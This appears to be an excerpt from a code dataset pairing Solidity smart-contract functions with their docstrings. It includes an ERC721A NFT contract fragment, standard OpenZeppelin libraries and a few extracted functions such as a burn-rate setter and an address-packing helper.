* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId > 0 && tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > currentIndex - 1) {
endIndex = currentIndex - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | Returns whether `tokenId` exists. Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. Tokens start existing when they are minted (`_mint`),/ | function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId > 0 && tokenId < currentIndex;
}
| 14,910,801 |
./full_match/43113/0x2311b215c3A3Cc20cdf35034951C0ff029E71397/sources/contracts/perch.sol | Update the burn rate. Can only be called by the current operator./ | function updateBurnRate(uint16 _burnRate) public onlyOperator {
require(_burnRate <= 100, "Perch::updateBurnRate: Burn rate must not exceed the maximum rate.");
emit BurnRateUpdated(msg.sender, burnRate, _burnRate);
burnRate = _burnRate;
}
| 7,146,862 |
./full_match/1/0x0000000000f5A96Dc85959cAeb0Cfe680f108FB5/sources/contracts/core/utils/LibOps.sol | Packs an address and an index to create an unique identifier. a The address. i The index. return result The packed result./ | function packId(address a, uint96 i) internal pure returns (uint256 result) {
assembly {
result := or(shl(96, a), shr(160, shl(160, i)))
}
}
| 5,013,444 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.